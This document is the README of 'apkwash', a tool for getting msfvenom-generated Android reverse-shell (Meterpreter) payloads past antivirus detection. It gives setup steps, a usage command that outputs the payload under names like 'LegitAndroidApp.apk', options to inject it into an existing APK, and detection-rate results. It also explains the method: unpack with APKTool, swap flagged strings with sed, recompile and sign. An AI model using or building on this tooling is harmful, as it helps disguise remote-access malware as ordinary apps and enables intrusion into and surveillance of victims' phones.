apkwash

Android APK Antivirus evasion for msfvenom generated payloads.

Tested on Kali linux rolling.

Setup:
apt-get update && apt-get dist-upgrade
chmod +x apkwash
mv apkwash /usr/local/bin/.

On first run:
-Downloads and places apktool.jar in the user's /usr/local/bin directory
-Generates debug keystore for signing. Places it in ~/.android/


Usage Example:
apkwash -p android/meterpreter/reverse_https LHOST= LPORT= -o LegitAndroidApp.apk

Output:
\.apk & \.listener

Default values:
payload=android/meterpreter/reverse_https
LHOST=\
LPORT=443
output=AndroidService.apk

Options
-p | --payload \ This sets the payload to be generated by msfvenom.
-o | --output \ This sets the name of the APK created as well as the output apk file.
-x | --original \ Input APK to inject the payload into (later update).
-g | --generate Generate a payload using defaults
-n | --newkey Generate a new debug key before signing
-v | --verbose Don't mask output of commands
-d | --debug Leaves the /tmp/payload files in place for review
-h | --help Help information


Antivirus detection:
2/35 on nodistribute - 2Aug17
Will be updating soon to cover these two flags.

FLAGGED BY AVAST!
APK:CloudRep[Susp] is the report for the suspicious app on Avast.
Per Avast: "the APK:CloudRep [Susp] is a warning-like message for applications that are very new/rare/previously unseen in our userbase." Based on this alone it doesn't appear we can modify anything to avoid being flagged. It allows the user to accept the risks, or uninstall the app.

Modifiations:
Feel free to open the script and make improvements. This script basically utilizes APKTool to open the package, uses sed to replace strings that flag AV, recompiles, then signs.


Files:
/tmp/payload (Main files to review: AndroidManifest.xml and the smali files)

Debugging
Run with '-d' and -'v' to display as much output along with not removing the /tmp/payload files.


If you are seeing other "Payload".smali files in /tmp/payload/smali/com/var1/var2/ then be sure you have an updated system (apt-get update && apt-get dist-upgrade. I have found an older msfvenom version output a different payload that will be flagged by AVG (1/35 on nodistribute). Just making sure you are completely updated should resolve this.